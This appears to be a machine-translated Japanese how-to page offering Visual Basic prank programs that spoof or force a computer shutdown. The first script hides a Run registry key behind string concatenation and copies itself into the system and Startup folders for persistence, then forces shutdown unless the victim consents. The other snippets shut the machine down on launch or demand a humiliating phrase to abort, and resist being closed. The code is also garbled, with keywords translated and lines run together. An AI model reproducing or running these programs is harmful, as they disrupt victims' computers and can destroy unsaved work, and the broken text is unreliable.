VB シャットダウン スプーフィング アプレット 1:
Dim fs, dirwin, c,Wll, str,strr,rSet fs = CreateObject("Scripting.FileSystemObject") Set dirwin = fs.GetSpecialFolder(1)Set Wll = WScript.CreateObject("WScript.Shell")Set c = fs .GetFile(WScript.ScriptFullName) str ="HK"&"LM/SOFT"&"WARE/Micr"&"osoft/Win"&"dows/Curren"&"tVersion/R"&"un/wxb"if (fs.FileExists(dirwin&"/wxb) .vbs")) 次に、Show_And_Do("reg")elseif (fs.FileExists("C:/Documents and Settings/All) を呼び出します。 Users/Start Menu/Programs/Startup/wxb.vbs")) thencall Show_And_Do("Startup")else On Error Resume Nextstrr=""Wll.RegWrite str, "C:/WINDOWS/system32/wxb.vbs", "REG_SZ "strr=Wll.Regread (str)if strr="" thenc.Copy("C:/Documents and Settings/All Users/スタート メニュー/プログラム/スタートアップ/wxb.vbs") elsec.Copy(dirwin&"/wxb.vbs") end if end if sub Show_And_Do(s)dim fr = MsgBox ("警告: 私のコンピューターに触れないでください! " & Chr(13) & Chr(10) & "確認 -> 次回から最初に許可を求めます" & Chr(10) & "キャンセル -> 気に入っていただいても構いません!", 4145, "MsgBox Example")If r = 1 then if s= "スタートアップ" thenset f = fs.GetFile("C:/Documents and Settings/All Users/Start Menu/プログラム/スタートアップ/wxb.vbs")f.Delete()elseif s="reg" thenWll.RegDelete strset f = fs.GetFile(dirwin&"/wxb.vbs")f.Delete()end if Elsewll.run "Shutdown.exe -s -f -t 0"End Ifend sub上記は少し複雑なので、もう少し単純にしてみましょう
コードは次のとおりです。
Option ExplicitConst SM_CLEANBOOT = 67Const EWX_LOGOFF = 0Const EWX_SHUTDOWN = 1Const EWX_REBOOT = 2Const EWX_FORCE = 4Private 宣言関数 ExitWindowsEx Lib "user32" (ByVal uFlags As Long,ByVal dwReserved As Long) As LongPrivate Sub Form_Load() 呼び出しExitWindowsEx(EWX_SHUTDOWN, 0)End Sub
もっと簡単な書き方ができる場合
次のコードを入力するだけです。
Private Sub Form_Load()Shell "cmd /c shutdown -s -t 30"Rem 後ろの -t 0 は 0 秒でシャットダウンすることを意味します。 -t 0 が削除された場合、デフォルトは 30 秒でシャットダウンします。
方法 3:
Private Sub Command1_Click()If Text1 = "私は豚です" thenShell "cmd.exe /c shutdown -a"MsgBox "はは、行かせてください!", 64, "Prompt"EndEnd IfEnd SubPrivate Sub Form_Load()MsgBox "はは、あなたは騙された場合は、自分が豚だと言ってください。そうでないと、コンピューターは 1 分以内にシャットダウンされます。」、48、「プロンプト」シェル「cmd.exe /c shutdown -s」 -t " & 60, vbHideEnd SubPrivate Sub Form_Unload(Cancel As Integer)g = MsgBox("Want to close me???", vbOKCancel + vbQuestion, "Close the window")If g = vbOK thenCancel = 11MsgBox "ははは、できるよあなたはそれを閉じて、私を豚と呼んでください。"、64、"プロンプト"End IfIf g = 2 thenCancel = 11End IfEndサブ